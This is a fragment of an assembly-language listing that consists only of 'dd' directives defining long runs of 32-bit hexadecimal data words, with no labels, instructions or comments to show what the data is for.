		dd 0D48900D0h, 20748154h, 0A8710D18h, 5B544AC2h, 6F9C6702h
		dd 0EA9C2B32h, 0A1F26BE4h, 740E7E5Ah, 0B8498DC5h, 0EE0A5C49h
		dd 0AC2D80F1h, 0F4F2666Dh, 763F773h, 0B134FD1Ah, 3A64C278h
		dd 0C3BEA8D9h, 5CB23BA0h, 812177CFh, 0F11E62CEh, 40E9102Fh
		dd 0F19FBE35h, 8C920FDDh, 0D673F507h, 0C944041Bh, 1130D3FCh
		dd 0D0899CE2h, 62DA72B3h, 9CFF2BD8h, 17575272h,	0CCEDD69Bh
		dd 93E7DCD8h, 840EBBAh,	7C18C34Dh, 0AB4A6C76h, 6F85277Ch
		dd 58D851F6h, 0C1BD536Fh, 7D77A742h, 0E4F638C2h, 0FA645249h
		dd 9882C014h, 48EA0F05h, 8636501Ch, 5BEC9C1Fh, 6B208C1Fh
		dd 0E439581Fh, 0DC09B382h, 0DAA7B40Ch, 6BB7C1F0h, 123F97BEh
		dd 9F56309Ah, 0D085F45Dh, 0E74144FBh, 7C6FD8A4h, 34272FB6h
		dd 2D879B72h, 2A4783CFh, 8CF1B8D0h, 93C12F91h, 3815126Fh
		dd 7C585B23h, 4E1817FDh, 0E1BB02D9h, 8AC9CC09h,	3B198D95h
		dd 0E7EDA2CCh, 39476B12h, 0DE71E2Fh, 0DC44C8F6h, 0C4C9EDBAh
		dd 859CCE26h, 0DD88BA15h, 594C6B9Ah, 6A0C655Ah,	460BF76h
		dd 0C5F1FE3Bh, 7E00F6A1h, 0AA609123h, 0DD1C6E4Bh, 0A787A2A7h
		dd 197B0C74h, 0C27AB936h, 63AAABE6h, 0A823746Bh, 0BA08AA96h
		dd 28DF7CB1h, 3DE43A34h, 0EBC94D2Dh, 1C00B008h,	0AEF1B0ACh
		dd 2F9C5CE9h, 0C5A59DA3h, 3926C51Ch, 92201DFEh,	48DC1A9Fh
		dd 1AD5C3B7h, 0E4125E4Bh, 0ABB26973h, 0ADD2CFC0h, 3AEF2346h
		dd 0A226FB43h, 6E48940Bh, 903B70ACh, 5FB576F4h,	0F8F29B3Ch
		dd 0A3D40AF3h, 0E0866353h, 0DE54C228h, 0B0C52C31h, 0FBAAA1E8h
		dd 5049264Bh, 0F8FE6118h
		dd 671EF3FDh, 0C200F380h, 7948FAA9h, 9821AE90h,	27CD9EF6h
		dd 8A2278C6h, 0EC863884h, 0E3CA6D77h, 797BC5ABh, 0E0EB9E80h
		dd 9F578624h, 0B9778C21h, 0F48B7811h, 30D57B6Ah, 81785281h
		dd 650E1A2Eh, 8F5E6FB0h, 169BF533h, 8A346D73h, 9A7FC341h
		dd 0E7EE8EEBh, 1DD2C99Ch, 51DBCDE2h, 49D1773Dh,	488C899Bh
		dd 970C9754h, 63AB5119h, 12FBE229h, 712A8302h, 0AAF7F68h
		dd 90CAF329h, 0DF165A08h, 0B17525Fh, 0E43412BBh, 8384AE9Dh
		dd 0D0B2190h, 84ACCB3Dh, 90D25EB6h, 8BF0842Fh, 0B4E059B8h
		dd 0CF9AA450h, 0DF7E2588h, 0AB8CF2CBh, 737DDFF3h, 8478DA9Ch
		dd 863BF6A4h, 0DE973449h, 4F05CDA4h, 9060EF19h,	33645FBFh
		dd 83CE9123h, 21626C46h, 0EDADE539h, 324FFC87h,	341C403Bh
		dd 49767324h, 0D8037033h, 1586DA78h, 0DE25F058h, 2BBDA2B8h
		dd 7125B88Eh, 0BEA6DEDEh, 0EB51BE89h, 0EF5769FFh, 2B544278h
		dd 0B8700B53h, 7EEFA724h, 0CF7A6AE3h, 0CDA0F7B8h, 9B0F7F4h
		dd 42C4C86Ah, 0A84452B1h, 656A7C9h, 10119476h, 495A0BCCh
		dd 0ED071801h, 0CD29660Ah, 679FD7AFh, 378884Eh,	0F13E5DF1h
		dd 0E0F9FAD7h, 68A42EEFh, 277268ACh, 750AB825h,	742E8021h
		dd 2FF32ADFh, 835AFEFAh, 0C5350B1h, 95D72BF5h, 9F486A21h
		dd 1D9CEE62h, 0D108EC85h, 9E527559h, 874DE52Bh,	7FFCE9F6h
		dd 9E257222h, 0DB0BECAFh, 2AA86D42h, 71789FCh, 0B187D98Bh
		dd 4F9A7B19h, 9E465812h, 0A0BAC5E1h, 6FAEB882h,	10C55FC0h
		dd 0E01A9C60h, 3885FA39h, 0C9D5B31Dh, 413C6E7Dh, 0FE6DAA19h
		dd 56898882h, 0AD90641Fh, 0C9344E69h, 4F801454h, 9444D37h
		dd 256AA089h, 656641Ah,	99F73544h, 81A91A81h, 71504C0Bh
		dd 22BB1213h, 9DFC15ECh, 224A23A6h, 0D2BC8AAh, 0DBCF1127h
		dd 436FEF50h, 0E3C912EFh, 89EF5A18h, 0A547431Ch, 0C9F7315Ch
		dd 0FB18EDBDh, 0BC32759Eh, 0CB03675Bh, 0D5FB862Eh, 5C7C6A29h
		dd 0F3635F3Dh, 98A5D07h, 0EFEB726h, 0D31BD90Dh,	9674149Eh
		dd 75214388h, 1E71B1D2h, 4721F2Dh, 0D385D94Dh, 93DC920Ch
		dd 2255206Ch, 4EAFC315h, 1F741DBCh, 0A4916980h,	8346AE71h
		dd 0F9468C27h, 9590B1FDh, 9551D1E4h, 24F05C1Ch,	4B0049D7h
		dd 259AF856h, 179D7AAFh, 0A4153F8h, 8C029A2Bh, 0E0C6C7E6h
		dd 92008E3h, 9DC69866h,	257C9CEDh, 0F2FFED03h, 919082CDh
		dd 0AA5532FBh, 849200D7h, 0B7466AC3h, 0CB4010EAh, 183341BBh
		dd 42D32E2Eh, 71EA413Bh, 95A31110h, 33E56AC7h, 0B5278F85h
		dd 0D72B575h, 0B51CD379h, 3F8DEA78h, 8944A3E0h,	0F1BD92F8h
		dd 0B51A6DC4h, 4DCADED9h, 0F2AC9348h, 16C40EF9h, 7DC5932Eh
		dd 99619944h, 688B3D6Ch, 516B635h, 3BF6B5D9h, 57B7229h
		dd 0A97AEEACh, 667E6B7Bh, 49A466C3h, 0E619CBDDh, 0A3962F43h
		dd 568F155Ch, 23E34941h, 0D6DA1A2Eh, 844CCA7h, 67FDFB14h
		dd 2C341DECh, 8F448831h, 0A38EB991h, 0E0F210FCh, 0B3989CB4h
		dd 0C6DA1A9Bh, 7CF62886h, 750AA27Fh, 0E7F7A3A6h, 75D4B6FFh
		dd 0C14ECA5Dh, 7B0F67A1h, 1E1A2DFDh, 0D70F9469h, 0E6185B15h
		dd 74E3D24h, 49EB74B7h,	4BD9B1FDh, 0C5B3C1DDh, 62D14F2h
		dd 5B68F56Fh, 0D4ACFD6Dh, 43776037h, 0D3F15C09h, 61E88350h
		dd 0D01FCD06h, 0EF0F2AA4h, 3FA0A741h, 3A2B658Ah, 7A69EB75h
		dd 2BB54CCFh, 28CA3FF6h, 56788EB2h, 0D6D0F0D8h,	0BA57337Bh
		dd 32B56EB7h, 0C1C90EDh, 0DA5357DDh, 921CF9EFh,	872A8EDFh
		dd 0F94740DAh, 0CF7767E1h, 43A75635h, 99BEF41Ah, 3AC73304h
		dd 70F3B6F9h, 1BF1EB86h, 38A95B1Fh, 0B478FFB3h,	0B416EA66h
		dd 0A214FD5Ch, 2F595FC5h, 0B914FDEAh, 0DB1820B3h, 770C3F1Eh
		dd 0F0481BE6h, 2B6DE7EDh, 0C0AA451Ah, 0CAFBBD7h, 0AC2986B1h
		dd 51DA3DD3h, 0ECBF24Dh, 0B02B3EC6h, 2D996685h,	18EBF277h
		dd 734D0A54h, 0A58456C4h, 0C6F5F4E3h, 0CECA140Dh, 98CB91F3h
		dd 0C05EF1CBh, 697EFD1Bh, 37273656h, 4BCBEA3Dh,	0C7A96786h
		dd 0A33C7049h, 65ADAD43h, 409F376Eh, 4A2007AEh,	1A03DEBh
		dd 13D74147h, 0F8FF63A3h, 0F80348E6h, 0ADB7D50Ch, 0BDF3CAD2h
		dd 1C0EE64Eh, 480EDD91h, 0B4F05455h, 2ED0F2CAh,	0D03450C3h
		dd 1BF879CEh, 708238Ch,	48937B4Ch, 624D7CECh, 2E9ACF48h
		dd 5DF55401h, 8CC4D596h, 4A2C4616h, 59537EFCh, 82BEFDF7h
		dd 0FF8F8739h, 0BAFA6065h, 0EB946F92h, 8C856C7Dh, 0B33F458h
		dd 96F14270h, 0AEAC7BAEh, 5BA1E3E6h, 0A26CDF9Fh, 0BA61A23Dh
		dd 0E22B2AF4h, 0ED4E0787h, 0A12A923Dh, 1F9F48D7h, 0E4363618h
		dd 417BBCC9h, 0DD91D830h, 86ECDB61h, 0DA2131Ah,	270C4BA6h
		dd 0C07D10BEh, 0A97502DAh, 667ACDB7h, 75BE76B5h, 0B77BD374h
		dd 50F3681h, 0CFBB49Bh,	26819DAEh, 0DEF0F0A6h, 4FD1845Bh
		dd 78D4A4B3h, 96EDB536h, 0FA786F0Eh, 43250D9Dh,	171A3575h
		dd 12EFBD44h, 0A2A84BA4h, 5F68EDBBh, 454CE669h,	5132F8AAh
		dd 3D60DC1Eh, 490E63A9h, 0FB975BD7h, 19B57AADh,	77E0EA91h
		dd 0AB2AB5D5h, 0CDE131AAh, 7B53CD18h, 9C31B17Ah, 21788063h
		dd 0A63A2012h, 378DCB54h, 21505B5h, 90E27C5Fh, 0F003F0D2h
		dd 42D8BCBFh, 19078Fh, 3E1BD818h, 1BF09EF5h, 2BE306Dh
		dd 0DBC3F321h, 23C94BC8h, 469FD37Eh, 0E8A43329h, 0B0CD121h
		dd 20D39B44h, 447E05D5h, 88258522h, 32BCEE76h, 0C64624B6h
		dd 4C4DC55Ah, 96DFC710h, 401ABECAh, 821E6569h, 0D7C71203h
		dd 1B45E986h, 40AA309Eh, 2B9C8B57h, 36E32385h, 91E699Eh
		dd 322F2696h, 1BB5AA39h, 0F8C17098h, 1511987Dh,	65BF9B90h
		dd 0B553CECBh, 8235079Bh, 76097E61h, 0CB0AEE34h, 0FE776513h
		dd 0B106235Bh, 0BB70B786h, 0C5BE6861h, 0AF139B4h, 0AD89156h
		dd 6F7D5439h, 2BA54725h, 0D762525Ah, 251957EEh,	7747DBF3h
		dd 85E590Ah, 88CD2957h,	0A1AA6ED3h, 9C866A49h, 0E9BB8EFCh
		dd 30E12FBBh, 0C177E4FEh, 0B59CD88Ch, 0A9797B8Fh, 89F5B42h
		dd 0D6EF6A9Ch, 0FE0C39C4h, 0AEB7B34Fh, 4FE30147h, 33ECD914h
		dd 8860116Fh, 896CB8A6h, 1A9D07ACh, 0D7AE206Ch,	92D00056h
		dd 0CA9879F4h, 58BD5CE7h, 0EA9C7306h, 49D813B9h, 0E2493733h
		dd 7DEE53F5h, 90085376h, 0C18CD1A6h, 64B2118Dh,	80DD17BCh
		dd 6DE111A9h, 7FE8500Dh, 77655BC6h, 33449153h, 0ACAF84Ch
		dd 52FD7F42h, 0C389FCD2h, 0DA09A292h, 0D8BCE5Ah, 7CA9946Eh
		dd 0F0B28922h, 2665363Bh, 39410AC5h, 2A6E736Dh,	0AEC26F13h
		dd 0AC5710E1h, 0D5D962D0h, 485ED938h, 7A6974DAh, 0A8CA71A8h
		dd 0EFF7722Eh, 61882330h, 29DC168Ah, 980A2391h,	5FC542F6h
		dd 50F8F36Ah, 0FCB04F8Ch, 7A44129Bh, 6B5666EBh,	0D43BE575h
		dd 0F5FC110Eh, 96859353h, 0A78E71CFh, 39DD85B5h, 65B4B511h
		dd 4188FB58h, 0B193CB55h, 0B19E1067h, 84A5FACAh, 48901E51h
		dd 0F4B10CADh, 3C867D78h, 0C0B32041h, 5EADE256h, 38AFB930h
		dd 477FB487h, 0E71DF086h, 54F1308Bh, 0C9CE5F0Ah, 904BC1BAh
		dd 0D324DCD8h, 0A550235Ch, 5546E74Ch, 0AE85DA77h, 10720BDFh
		dd 72CC7EE9h, 80B925BAh, 247391C3h, 555BE474h, 9E700B74h
		dd 0F0D89FE4h, 0B9D8C821h, 4CAB74E5h, 1969F195h, 0BE7DE8CBh
		dd 64B2521Dh, 71B5ADD2h, 0DFC6CBB3h, 0C2350B5Dh, 0B3E567F1h
		dd 47DCB1D9h, 0CD3E8C0Eh, 0C8FB76B3h, 0BC4910Eh, 2AE0B45Bh
		dd 0F6F8CC25h, 0D1A0E54Fh, 4BB97A08h, 0B5E5C5E4h, 180338F3h
		dd 0CF2A8FB4h, 0A4735A50h
		dd 51B6B8F1h, 0EC21F9C3h, 4F8C82BDh, 64387945h,	1E1516B4h
		dd 14DB7361h, 0C778D6Ch, 10376Ch, 3218109Eh, 85F3936Ch
		dd 51BD5C36h, 8BDB96BEh, 0CEDC0974h, 900840E4h,	70CBE51Bh
		dd 0A94B5EE3h, 3920FAB2h, 458C964h, 50147902h, 4C1038BEh
		dd 1B1556A1h, 0BFA74F22h, 3E775311h, 0E9C3B87Dh, 0C2C1FCA7h
		dd 40258EF0h, 55D11088h, 49EA8337h, 8D9DE73Dh, 7EC88948h
		dd 1FA3052Fh, 551A5F7Eh, 4D10D43Bh, 878EEE16h, 0A2E887B8h
		dd 0C9217585h, 52C855Fh, 715623D8h, 0B7CE9BD1h,	32D5B8Ah
		dd 0E319765Eh, 62346F58h, 0D0E2E211h, 0CA260456h, 0FDCFDB6Ch
		dd 90F33B39h, 457F2FDEh, 3D753C0Dh, 0A65E2E40h,	4A35C54Ch
		dd 90577014h, 87A45FDAh, 42830D69h, 502BA7FFh, 0B7C19421h
		dd 9351A28Eh, 6A9FDE8Ah, 0EE2415Fh, 12CCE414h, 3E1CD9FEh
		dd 3261EE82h, 0D137BC5Fh, 1A3C8C04h, 526FF947h,	0FEFAFE85h
		dd 0FAC6344Eh, 0B0D070A8h, 91F85514h, 1EDBC008h, 41C10B2Bh
		dd 0FAC0499Dh, 3734FF5Fh, 0D46E60D6h, 38B28996h, 11F9172Dh
		dd 32B609D0h, 0D645F7F5h, 8BE29968h, 9A695302h,	0B4C9C6E4h
		dd 38F4FD8Bh, 6D9E8D09h, 7EF7384Fh, 84B4D38Ah, 0AE0E328Bh
		dd 3A5E54F4h, 5D930028h, 0BB9F5CCAh, 1B229FDBh,	0CA801640h
		dd 6153B77Ch, 640D1DEDh, 70139268h, 0A5B4FBE1h,	0D5762A63h
		dd 908CFCB8h, 0E9501374h, 280E25F2h, 0BAC5F73Bh, 3CE8F4C3h
		dd 331E9B07h, 0B6058D80h, 9554ADFAh, 21A77E2h, 0C755EF96h
		dd 0EC8419B3h, 14EA0009h, 372851CDh, 5C4D6486h,	9600AB03h
		dd 3AB2738Bh, 0BD3F378Eh, 48519A99h, 2B19B7E4h,	3B1BEB22h
		dd 83C2E935h, 7A6AE981h, 0ACC99708h, 0B094A5B4h, 71013C15h
		dd 0D1E30BD7h, 0A53FB46Ch, 0A4D46192h, 3ABF5DCAh, 4C177E99h
		dd 0BD88D147h, 7F54CA50h, 5CA6656Ch, 30A73C0Eh,	9BE4116Ch
		dd 0CFA2986Dh, 30E660EAh, 3B2B3A38h, 296191EFh,	79791783h
		dd 426A457Dh, 69AA747Ch, 0F09C9C18h, 5E2FF55Ah,	0C2840C13h
		dd 11BFD65Fh, 3BBE0874h, 0C4C37726h, 4EDFE333h,	0E5DC20C6h
		dd 2A4BD71Bh, 890D3CBAh, 0E7F03A68h, 0A592E0F3h, 8B9257FDh
		dd 4BBDF1D6h, 604211C5h, 62641E30h, 0EF86C28h, 42358003h
		dd 14B9D6FFh, 0CFDFCDAh, 966BF0FBh, 0BF9E4568h,	0B8E9A2ACh
		dd 45425497h, 0DDD883E5h, 0FDB5536Ch, 0D330A229h, 8C9088CAh
		dd 4D74FBB9h, 0A0DB92D8h, 6784BB36h, 7BC91945h,	0F3B47B24h
		dd 0E0003F46h, 0D2A8F498h, 0D4DD8C6Ah, 0B98DDE7Eh, 0A0900BDEh
		dd 0A2D38537h, 418CF624h, 2B64DF3Fh, 0A5A5CDAEh, 2E6B7252h
		dd 78CF03FCh, 805F8CCh,	0D5E5B916h, 7362B714h, 92434CEDh
		dd 0F3E4446Fh, 6C4EB1A0h, 879448F4h, 9AE8A1A1h,	542DD124h
		dd 4711FE02h, 0C231C64Dh, 68C640E2h, 0D305E6BEh, 5371164Bh
		dd 93171C97h, 0DFC68E52h, 0A91BF469h, 0E316592Eh, 360489F9h
		dd 10D8DD04h, 5C6B0FE3h, 0B3638767h, 3EC2A9A5h,	0B5774C90h
		dd 26496899h, 34137B43h, 43BBF56Ah, 1F2BEDC2h, 3388A7Dh
		dd 19251CBFh, 0EFC24CEFh, 85CFE450h, 9713AF68h,	4D1F4A66h
		dd 6187619Bh, 50D80836h, 0BA60A3F6h, 1054E9A8h,	55BC90FAh
		dd 0DEBE0DBCh, 0FF89985Ch, 70C12D15h, 425BCE06h, 4C710FDBh
		dd 721698C8h, 4A7515BEh, 0A2F501D9h, 545DD0B4h,	0F754D3CEh
		dd 0F71B565Ch, 8DA092A0h, 5D895E2Ch, 0E7472DBBh, 0BD2AE242h
		dd 0B118C0BEh, 43460B03h, 0C045AD64h, 9B918262h, 0B65A13EEh
		dd 3E432ADAh, 88D91439h, 50CD99ADh, 0FD79FDA7h,	9D0E3721h
		dd 2A47D764h, 531EC284h, 6B6A8C98h, 30F12DD9h, 0C87F9770h
		dd 9CE5CABh, 34205D7h, 768A2EF0h, 642064DAh, 2D58CC9Ch
		dd 9ADCC69Bh, 5805923Dh, 664583FFh, 8D5C30F3h, 758F2E09h
		dd 66E67829h, 21F63BC7h, 0F0456CC2h, 8D16EF71h,	2F1093DCh
		dd 8D977731h, 628CA346h, 3C91B57Ah, 39B673BDh, 0E6F74CF4h
		dd 0C7685530h, 911FDB09h, 0A7670421h, 36405775h, 0E895E6CDh
		dd 9103566Ah, 9B594CCAh, 0DEC7BC40h, 75D50722h,	0DF6EB4DBh
		dd 0E4DB13A3h, 0CDF9B2FFh, 0BB791F7Dh, 8951070Fh, 21E5530Fh
		dd 0A9C47980h, 0C34C2D25h, 2CC0F7C2h, 0D1467E4Ah, 2C154A81h
		dd 0EC3F61BAh, 3248D20Fh, 69760C1Bh, 824AA4BEh,	0AE4E6FBEh
		dd 641966F4h, 45129595h, 2F04D64Bh, 4E8331B9h, 0FEEF01B4h
		dd 1E089F82h, 8D6A2913h, 50BAD39Ah, 37B131A2h, 1053CA99h
		dd 237F0558h, 21649AA7h, 0AB202E9h, 0E6D7DD44h,	205B1F12h
		dd 45605A78h, 8D11266Fh, 415858B8h, 0EBE442EEh,	30725C89h
		dd 12953E74h, 0FE993659h, 14131C2Ch, 0DBF87600h, 618565B6h
		dd 7248D1CAh, 44158DD4h, 53AE810Bh, 31FED10Bh, 0EA2536B0h
		dd 0AA1368C6h, 78BD5E64h, 9D4DAADAh, 0CE46E05Fh, 57219A7h
		dd 5A7D65B3h, 0D22C7BEFh, 5AD08FB1h, 0CFD805CCh, 91D70473h
		dd 0CEBF2194h, 82EFDB9Dh, 56533F83h, 0F260DE5Eh, 0D4560F1h
		dd 7DBBEB74h, 6FF37B26h, 6A2F4306h, 17956D74h, 3F5560C6h
		dd 1D6557CFh, 4C7C1EA1h, 96B43D8Fh, 0D957F0A7h,	8251226Dh
		dd 22D95233h, 0D0D86BF8h, 5916F16Ch, 0A8870AE0h, 0B79C8385h
		dd 65493ACBh, 0DF243E39h, 0B7EF1C40h, 811EFC39h, 0BB43EB9Ch
		dd 1FF20B6Ch, 47F9A844h, 0C4AEE461h, 43C5EAB3h,	0D1A93D8Ch
		dd 0C85392BEh, 0E9FC759Ch, 0AB04C99h, 476E4248h, 66DF7B4Ah
		dd 18052751h, 91D19159h, 4AB01E1h, 3A159177h, 10A6BBF9h
		dd 14C2CF57h, 9B23AAD3h, 4A2703F5h, 412346EAh, 0A2870834h
		dd 4F24EB65h, 111A252Fh, 1C130655h, 9788AC18h, 773E513Eh
		dd 716F9AC4h, 0AF049E7Fh, 146D42DCh, 9C9FEDEEh,	5D49080Fh
		dd 62C339B4h, 0B32CFB8Ah, 0C76907A7h, 1F2447ECh, 0EF7E39B9h
		dd 231F457Bh, 1E53A450h, 688C87Eh, 0B1473B87h, 37238FFDh
		dd 4F2EAEF4h, 0FA4F740Dh, 0F4CFD822h, 625C82F0h, 1499DA3Ah
		dd 0BBC6DEC8h, 4B39FB30h, 0E4D2EE9Bh, 0F5772DCCh, 0F84E0564h
		dd 55623E9Fh, 0A575A1F1h, 0CCDEB120h, 6F3E911Fh, 9E89AAA7h
		dd 0D7D1198Fh, 0BF33E08Dh, 86C7D400h, 0BC23638Eh, 7CA6D6F9h
		dd 8DA52770h, 0AC1E8007h, 0EDAD5906h, 53FC73CEh, 5FE96437h
		dd 9C5F9B8Eh, 51A2E7B7h, 0CF5FC788h, 0FB131A92h, 0B1232D03h
		dd 0F087B3EAh, 0DC3A47DCh, 0B64BB139h, 2374F88Bh, 0CA811FBCh
		dd 0F3AD4EAFh, 0F9EB10ACh, 91116141h, 0DFF6A17Fh, 5AD4D83Ch
		dd 1AA8F2C8h, 0DBA5790h, 1E978B2h, 52A886D1h, 0CC471564h
		dd 19644D41h, 330F4381h, 83E7CFD5h, 1D84861Eh, 82F2A328h
		dd 0DBD0FE69h, 7F449F90h, 4FA715C2h, 0EBE58A88h, 95AADB5Fh
		dd 823D2EAFh, 194DEC36h, 16C85FE8h, 0F7EBB8E6h,	32200B9Bh
		dd 8A002613h, 0A5924C0Dh, 0B9CAD340h, 35D45EA7h, 0A1CCBD39h
		dd 5625E72Eh, 0E3304A1Ch, 0DE6BF16Fh, 29BDC37Eh, 0F4FBDC58h
		dd 7437AA54h, 661C161h,	7F7DE1A1h, 0F77FE654h, 3FDFBCB3h
		dd 5235A829h, 59066FB7h, 88ADF612h, 82E7B42h, 0FC9DC57Bh
		dd 0B2AC809Dh, 0AA1E488Bh, 0D8FB8F37h, 680B900h, 0D427E602h
		dd 0ED92BC61h, 90C5A99Ah, 7C45AC2Bh, 22549583h,	456237B0h
		dd 0CBEBF105h, 5E190F63h, 19A45097h, 5B15DDF4h,	0F93F6D3Eh
		dd 6951DC5Ah, 0EDE26322h, 36769001h, 0F03E64Eh,	707335E1h
		dd 0F51CCB7Fh, 0BC18AE3Eh, 0AB1CDC55h, 46CE6157h, 0AA5C2BF4h
		dd 0E5298ADBh, 8D30766Ch, 0E356724Bh, 0A6CD72D2h, 3C36A356h
		dd 0F724C807h, 48505365h
		dd 28055DF0h, 0B4ED6E35h, 0CD45CBF9h, 0B32A3EAFh, 0C5CA85B5h
		dd 0B9445890h, 0D63DA45Dh, 0E0DE070Fh, 0A9BE8D87h, 95ADB5B9h
		dd 0E748BDA9h, 5FB81BD7h, 0B9C55321h, 168A8BE5h, 0D3A64C4Eh
		dd 0A5F845A4h, 0E8E1ACFh, 20F80768h, 0FAD564E0h, 0E46365CCh
		dd 50446755h, 0CBB6B6CEh, 0D4A25EDBh, 0CF77FE3Dh, 7F36D7B8h
		dd 0EF47B596h, 0AB0F54Ch, 0C945DD69h, 77D3E1Bh,	3DA24C10h
		dd 457AC9C8h, 68ED2C87h, 3C04C40Bh, 988EB4CDh, 38A9FD22h
		dd 0ED38D309h, 361FE3D3h, 37FD60D7h, 0DDA5E04Bh, 5951B76Ch
		dd 0F45CE402h, 7E513AE1h, 6F95968Eh, 9469AB8Dh,	223252C7h
		dd 62D144Bh, 3ED99C1Ah,	74A11B71h, 9774D715h, 0FC834398h
		dd 52962428h, 88C8D9F6h, 5DA4301Ch, 88716896h, 0FA194639h
		dd 66F7C526h, 0BBF40692h, 46ACA674h, 0EA40CFD7h, 0DE8DD787h
		dd 0E630CCDAh, 97E13BB4h, 8444AD7Eh, 0DB4C94D9h, 0E0612CEDh
		dd 943B35D9h, 84775181h, 3BC367B2h, 80DD1798h, 0ECB26590h
		dd 58AA757Bh, 7F1E59DAh, 9317DD60h, 8D30818Ch, 233DD432h
		dd 660E3B7Eh, 39F6A6B5h, 0FB8F3CFBh, 7A413FB1h,	67C54F5Ah
		dd 863D690Ch, 7375E6DEh, 66EBD96Eh, 9DFAE187h, 6EE28A28h
		dd 807D5B90h, 39142283h, 0F5577D1Dh, 0A91A2024h, 96F4A1A9h
		dd 33003D89h, 4E6975A8h, 78D6D48Fh, 0D9843A80h,	62B26D0Dh
		dd 467D3395h, 55241A6Bh, 0D059A93Eh, 3D1AD769h,	7558AC3Eh
		dd 5F28577Dh, 5979AE27h, 6FA4EF21h, 0DAA1A036h,	0BE971DBh
		dd 2613870Eh, 7AC9A4FCh, 0CDBC5CBCh, 304AFAB0h,	0FF652C06h
		dd 2616BD27h, 210628FFh, 0F1B8ADFDh, 3D114A1Eh,	0E2F514F6h
		dd 0DC3CD49Ch, 0BCF0EFB8h, 0D9653145h, 9976EF62h, 22436B34h
		dd 0BB8DD55Dh, 3A2D40D3h, 0C983C80Fh, 0C4B588B9h, 0B0E92358h
		dd 5FC7C744h, 0C53E3E35h, 1FE200E8h, 0D71583ACh, 0FFFB722Ch
		dd 0D49FDC48h, 357CA99Eh, 68F72C41h, 1B045221h,	0B93A8565h
		dd 24D9C31Ch, 4D8B22CCh, 3E3601C9h, 0BCED475h, 0BE122EB5h
		dd 0FFE0F8E6h, 97FFB933h, 7734E7C0h, 42FEDD30h,	5ACCDF6h
		dd 3E3A8018h, 148E100Fh, 0C35DBE0Dh, 13D9F6FBh,	124992A7h
		dd 0E9F93D80h, 8CE79DE0h, 0FCF16DC0h, 5C3B6DE6h, 9493D6Ch
		dd 5269D1BFh, 0E8E9FB6h, 165D1F26h, 759AB8B8h, 2D2EDAF6h
		dd 7DECB6E6h, 0D321AFB3h, 4B2E9A48h, 0EC172EACh, 42375E24h
		dd 162D9F1Ch, 2596F3A1h, 883C6359h, 8F9F5379h, 86443861h
		dd 10AD78C4h, 684F848Fh, 17A98A1h, 8EE87C5Ch, 94E539D8h
		dd 0B9EF2821h, 3253D229h, 0FD93B15Ch, 6A14EE54h, 9AC95FC5h
		dd 8F465B1h, 4B476155h,	56D58085h, 944211ECh, 0E0015D25h
		dd 0E6AF4A08h, 9FE7015h, 5F29BFB1h, 34D7C52Fh, 35B58A55h
		dd 337D8887h, 6AF0B8Dh,	26C76136h, 135D2C7Fh, 0F515C68Fh
		dd 679ED981h, 99080F90h, 0B1B7CF3Bh, 2C54BD86h,	0F68C3B12h
		dd 0B75B94A5h, 0C0AAC126h, 0E78B0CF6h, 0C9FB027Ah, 0CF573B69h
		dd 0B685E7Ch, 0F44979DDh, 13EB45FBh, 87EACE62h,	0BD4BE4A3h
		dd 90EAC878h, 86EA7F76h, 151BD41h, 0F798A635h, 1BA259EFh
		dd 13B1A9DBh, 0F16098A3h, 7F488FB7h, 1772153Ah,	0C1616BC5h
		dd 8FBC1571h, 9C96FD33h, 1BB93039h, 6FC63BE7h, 0AB2B0A4Dh
		dd 1CCDC41h, 0D797E227h, 299C15FBh, 972E92DDh, 2FD41357h
		dd 64E99E9Eh, 0AA0351A2h, 4F79022Eh, 0D1FA289Fh, 78842288h
		dd 84E9B8DFh, 0F759C11Eh, 44D8AD1Ch, 0CF2278CCh, 48D5E083h
		dd 97951244h, 0FE5649h,	0B6EAD15Dh, 6A385BBEh, 396DF19Bh
		dd 7439F3A4h, 0D9747DB6h, 71E4C118h, 89F50469h,	27B7CD3Eh
		dd 4C70AE99h, 0D05D4D88h, 6AB30175h, 1170B253h,	816831FFh
		dd 27CC7BABh, 0F3041434h, 6501C709h, 721BBFF6h,	0BDCD8EB9h
		dd 0D710B05Eh, 2F7F3132h, 0B7BFD559h, 0DB34A074h, 3067CCBEh
		dd 9C60A882h, 1C181236h, 2A264D4Ah, 17D90CDAh, 20B5A800h
		dd 1D95E170h, 0C37D636Ch, 2D9B4ACAh, 0D7C266FFh, 7A9A4E24h
		dd 844C5335h, 2AF360A6h, 59E2B2BBh, 0E66A8025h,	5D806288h
		dd 371839E3h, 88F17CA1h, 91652680h, 988A87h, 0AC63ECBh
		dd 0EB174907h, 36F44C12h, 0D2880634h, 718F94CFh, 52275782h
		dd 937929E0h, 966718F2h, 45175008h, 238C0FD8h, 0DEFA2702h
		dd 0DE09DDF6h, 20C7B1B8h, 0C165E21Ch, 0C18B1027h, 60FA5872h
		dd 0E15C089Ah, 0E9C96949h, 0D15F43AAh, 7FFCE52Fh, 32AA029Eh
		dd 728E4AD4h, 0F27317C0h, 6F0942BCh, 0AA21C9FDh, 5575D4D8h
		dd 43FA789Ah, 9B373AB4h, 214543F7h, 950BC26Dh, 2302F6F9h
		dd 68737EF5h, 0A0C032B8h, 0B0A5F764h, 0C679A1DDh, 0FDFA4042h
		dd 6752DE59h, 0B8204C65h, 0FC998D08h, 6580F25Dh, 0C4B948E7h
		dd 0A7C408C1h, 85C22F94h, 25DC33FDh, 54E2DB6Ch,	0BD85939Ch
		dd 707EBED6h, 791F2E2Dh, 0DB09E80Ch, 9DDDF2B8h,	84A101A1h
		dd 33DB1314h, 9A655EC6h, 0ECD3C959h, 0F9934F96h, 0FBC2D778h
		dd 0A5EE4E57h, 34B34BF3h, 0FA7ADC4Ch, 44755897h, 24A9B5DEh
		dd 0F9CD6A86h, 0CB8C9F33h, 1EFF527Eh, 3A16BC6Bh, 0C1E9CA5Eh
		dd 0EEAD3FB3h, 3B575EACh, 0F3505D7Bh, 0CEA0E75Bh, 9E9C2143h
		dd 0A50A4F9Dh, 0EA83A590h, 8D9512F6h, 9195D670h, 171FA44Ch
		dd 0ED147D5Dh, 0AA890DE5h, 495F9F5Bh, 8424C992h, 36CE47C1h
		dd 55F3C6AFh, 0FEE2A8D3h, 71C03B95h, 0C4D1F762h, 0A4B7260h
		dd 319A0F64h, 24475DD3h, 2B511D97h, 0B5B34781h,	20F04351h
		dd 0A552ACE9h, 794020C7h, 4BE8AC3h, 259B5E2Eh, 0EDAB2FE2h
		dd 0E6604C84h, 3EB0C205h, 0B279058Fh, 0C619790Eh, 4FB0E879h
